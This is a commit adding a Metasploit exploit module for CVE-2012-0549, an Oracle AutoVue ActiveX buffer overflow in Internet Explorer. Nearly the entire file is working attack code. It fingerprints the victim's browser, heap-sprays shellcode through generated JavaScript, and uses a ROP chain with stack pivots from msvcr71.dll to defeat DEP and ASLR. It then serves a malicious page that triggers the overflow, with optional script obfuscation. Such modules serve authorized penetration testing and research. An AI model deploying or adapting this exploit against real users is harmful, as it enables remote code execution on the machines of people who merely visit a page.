Added module for CVE-2012-0549
jvazquez-r7
parent
d5b165abbb
commit
4e8a6f6508
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::Seh
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:ua_name => HttpClients::IE,
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:ua_minver => "6.0",
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:ua_maxver => "9.0",
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:javascript => true,
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:os_name => OperatingSystems::WINDOWS,
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:classid => "{B6FCC215-D303-11D1-BC6C-0000C078797F}",
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:method => "SetMarkupMode",
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:rank => NormalRanking
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})
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Oracle AutoVue ActiveX Control SetMarkupMode Buffer Overflow',
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'Description' => %q{
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This module exploits a vulnerability found in the AutoVue.ocx ActiveX control.
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The vulnerability, due to the insecure usage of an strcpy like function in the
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SetMarkupMode method, when handling a specially crafted sMarkup argument, allows
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to trigger a stack based buffer overflow which leads to code execution under the
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context of the user visiting a malicious web page.
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The module has been successfully tested against Oracle AutoVue Desktop Version
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20.0.0 (AutoVue.ocx 20.0.0.7330) on IE 6, 7, 8 and 9 (Java 6 needed to DEP and
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ASLR bypass).
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},
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'Author' =>
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[
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'Brian Gorenc', # Vulnerability discovery
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'juan' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2012-0549' ],
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[ 'BID', '53077' ],
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[ 'OSVDB', '81439' ],
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[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-12-05' ],
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[ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 948,
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'DisableNops' => true,
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# AutoVue.ocx 20.0.0.7330
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[ 'Automatic', {} ],
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[
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'IE 6 on Windows XP SP3',
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{
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'SprayBlocks' => 0x185,
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'SprayCounter' => '0x5f2', # 0x0c0c0c08
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'SprayOffset' => '0x600', # 0x0c0c0c24
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'Offset' => 1052,
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'Ret' => 0x0c0c0c0c,
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'Rop' => nil,
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'RandomHeap' => false
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}
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],
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[
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'IE 7 on Windows XP SP3 / Windows Vista SP2',
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{
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'SprayBlocks' => 0x185,
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'SprayCounter' => '0x5f2', # 0x0c0c0c08
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'SprayOffset' => '0x600', # 0x0c0c0c24
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'Offset' => 1052,
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'Ret' => 0x0c0c0c0c,
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'Rop' => nil,
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'RandomHeap' => false
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}
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],
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[
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'IE 8 with Java 6 on Windows XP SP3/7 SP1/Vista SP2',
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{
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'SprayBlocks' => 0x185,
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'SprayCounter' => '0x5f2', # 0x0c0c0c08
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'SprayStackPivot' => '0x5f6', # 0x0c0c0c10
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'SprayOffset' => '0x5fc', # 0x0c0c0c1c
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'Offset' => 1052,
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'Ret' => 0x0c0c0c0c,
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'Rop' => :jre,
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'RandomHeap' => false,
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}
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],
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[
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'IE 9 with Java 6 on Windows 7 SP1',
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{
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'SprayBlocks' => 0x1000,
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'SprayNops' => '0x5f6', # 0x0c0c0bfc
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'SprayCounter' => '0x5fc', # 0x0c0c0c08
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'SprayStackPivot' => '0x600', # 0x0c0c0c10
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'SprayOffset' => '0x606', # 0x0c0c0c1c
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'Offset' => 1052,
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'Ret' => 0x0c0c0c0c,
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'Rop' => :jre,
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'RandomHeap' => true,
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Apr 18 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class
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)
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end
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def get_easy_spray(t, js_code, js_nops, js_counter)
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spray = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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var counter = unescape("#{js_counter}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{t['SprayCounter']});
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var offset_2 = nops.substring(0, #{t['SprayOffset']} - offset.length - counter.length);
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var block_used = code.length + offset_2.length + counter.length + offset.length;
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var shellcode = offset + counter + offset_2 + code + nops.substring(0, 0x800 - block_used);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var z=1; z < #{t['SprayBlocks']}; z++) {
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heap_obj.alloc(block);
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}
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JS
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return spray
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end
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def get_aligned_spray(t, js_code, js_nops, js_counter, js_stack_pivot)
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spray = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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var counter = unescape("#{js_counter}");
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var stack_pivot = unescape("#{js_stack_pivot}")
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{t['SprayCounter']});
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var offset_2 = nops.substring(0, #{t['SprayStackPivot']} - offset.length - counter.length);
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var offset_3 = nops.substring(0, #{t['SprayOffset']} - offset.length - counter.length - offset_2.length - stack_pivot.length);
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var block_used = code.length + offset_3.length + stack_pivot.length + offset_2.length + counter.length + offset.length;
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var shellcode = offset + counter + offset_2 + stack_pivot + offset_3 + code + nops.substring(0, 0x800 - block_used);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var z=1; z < #{t['SprayBlocks']}; z++) {
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heap_obj.alloc(block);
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}
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JS
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return spray
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end
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# Spray published by corelanc0d3r
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# Exploit writing tutorial part 11 : Heap Spraying Demystified
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# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
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def get_random_spray(t, js_code, js_nops, js_90_nops, js_counter, js_stack_pivot)
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spray = <<-JS
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function randomblock(blocksize)
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{
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var theblock = "";
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for (var i = 0; i < blocksize; i++)
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{
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theblock += Math.floor(Math.random()*90)+10;
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}
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return theblock;
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}
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function tounescape(block)
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{
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var blocklen = block.length;
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var unescapestr = "";
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for (var i = 0; i < blocklen-1; i=i+4)
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{
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unescapestr += "%u" + block.substring(i,i+4);
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}
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return unescapestr;
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}
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var heap_obj = new heapLib.ie(0x10000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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var nops_90 = unescape("#{js_90_nops}");
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var counter = unescape("#{js_counter}");
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var stack_pivot = unescape("#{js_stack_pivot}")
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while (nops_90.length < 0x80000) nops_90 += nops_90;
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for (var i=0; i < #{t['SprayBlocks']}; i++) {
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var padding = unescape(tounescape(randomblock(0x1000)));
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while (padding.length < 0x1000) padding+= padding;
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var offset = padding.substring(0, #{t['SprayNops']});
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var offset_2 = padding.substring(0, #{t['SprayCounter']} - offset.length - nops.length);
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var offset_4 = padding.substring(0, #{t['SprayOffset']} - offset.length - nops.length - offset_2.length - counter.length - nops.length - stack_pivot.length);
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var block_used = code.length + offset_4.length + stack_pivot.length + nops.length + counter.length + offset_2.length + nops.length + offset.length;
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var single_sprayblock = offset + nops + offset_2 + counter + nops + stack_pivot + offset_4 + code + padding.substring(0, 0x800 - block_used);
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while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
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sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
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heap_obj.alloc(sprayblock);
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}
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JS
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return spray
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end
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def junk(n=4)
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return rand_text_alpha(n).unpack("V").first
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end
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def nop
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return make_nops(4).unpack("V").first
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end
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# stackpivot from msvcr71.dll
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def get_stack_pivot_stage_1
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rop = [ 0x7c341ae4 ].pack("V*") # ADD ESP,48 # RETN
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return rop
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end
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# stackpivot from msvcr71.dll
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def get_stack_pivot_stage_2
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rop = [
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0x7c3522ca, # ADD EAX,20 # RETN
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0x7c348b05, # XCHG EAX,ESP # RETN
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].pack("V*")
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rop = rop.gsub(/"/, "\\\"")
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return rop
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end
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# ROP chain (msvcr71.dll) generated by mona.py - See corelan.be
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def get_rop_chain
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rop = [
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0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
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0x00001000, # (dwSize)
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0x7c347f98, # RETN (ROP NOP)
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0x7c3415a2, # JMP [EAX]
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0xffffffff,
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0x7c376402, # skip 4 bytes
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0x7c345255, # INC EBX # FPATAN # RETN
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0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
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0x7c344f87, # POP EDX # RETN
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0x00000040, # flNewProtect
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0x7c34d201, # POP ECX # RETN
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0x7c38b001, # &Writable location
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0x7c347f97, # POP EAX # RETN
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0x7c37a151, # ptr to &VirtualProtect() - 0x0EF
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0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
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0x7c345c30, # ptr to 'push esp # ret '
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].pack("V*")
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return rop
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
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return targets[1] #IE 6 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
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return targets[2] #IE 7 on Windows XP SP3
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
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return targets[2] #IE 7 on Windows Vista SP2
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
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return targets[3] #IE 8 on Windows XP SP3
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elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/
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return targets[3] #IE 8 on Windows 7 SP1/Vista SP2
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elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
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return targets[4] #IE 9 on Windows 7 SP1
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else
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return nil
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end
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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print_status("User-agent: #{agent}")
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my_target = get_target(agent)
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# Avoid the attack if the victim doesn't have a setup we're targeting
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if my_target.nil?
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print_error("Browser not supported: #{agent}")
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send_not_found(cli)
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return
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end
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p = payload.encoded
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if my_target['Rop'].nil?
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
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else
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js_stack_pivot = Rex::Text.to_unescape(get_stack_pivot_stage_1, Rex::Arch.endian(my_target.arch))
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js_code = Rex::Text.to_unescape(get_rop_chain + p, Rex::Arch.endian(my_target.arch))
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end
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
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js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
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js_counter = Rex::Text.to_unescape("\x01\x00\x00\x00", Rex::Arch.endian(my_target.arch))
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js = ""
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if my_target['RandomHeap']
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js = get_random_spray(my_target, js_code, js_nops, js_90_nops, js_counter, js_stack_pivot)
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elsif my_target['Rop']
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js = get_aligned_spray(my_target, js_code, js_nops, js_counter, js_stack_pivot)
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else
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js = get_easy_spray(my_target, js_code, js_nops, js_counter)
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end
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js = heaplib(js, {:noobfu => true})
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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end
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if my_target['Rop'].nil?
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sploit = rand_text_alpha(my_target['Offset'])
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else
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sploit = rand_text_alpha(8)
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sploit << get_stack_pivot_stage_2
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# +1 because of the escape character in get_stack_pivot_stage_2
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sploit << rand_text_alpha(my_target['Offset'] - sploit.length + 1)
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end
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sploit << [my_target.ret].pack("V")
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html = <<-MYHTML
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<html>
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<head>
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<script>
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#{js}
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</script>
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</head>
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<body>
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<object classid='clsid:B6FCC215-D303-11D1-BC6C-0000C078797F' id='obj' />
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</object>
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<script>
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setTimeout(function(){ obj.SetMarkupMode("#{sploit}"); }, 100);
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</script>
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</body>
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</html>
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MYHTML
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html = html.gsub(/^\t\t/, '')
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print_status("Sending html")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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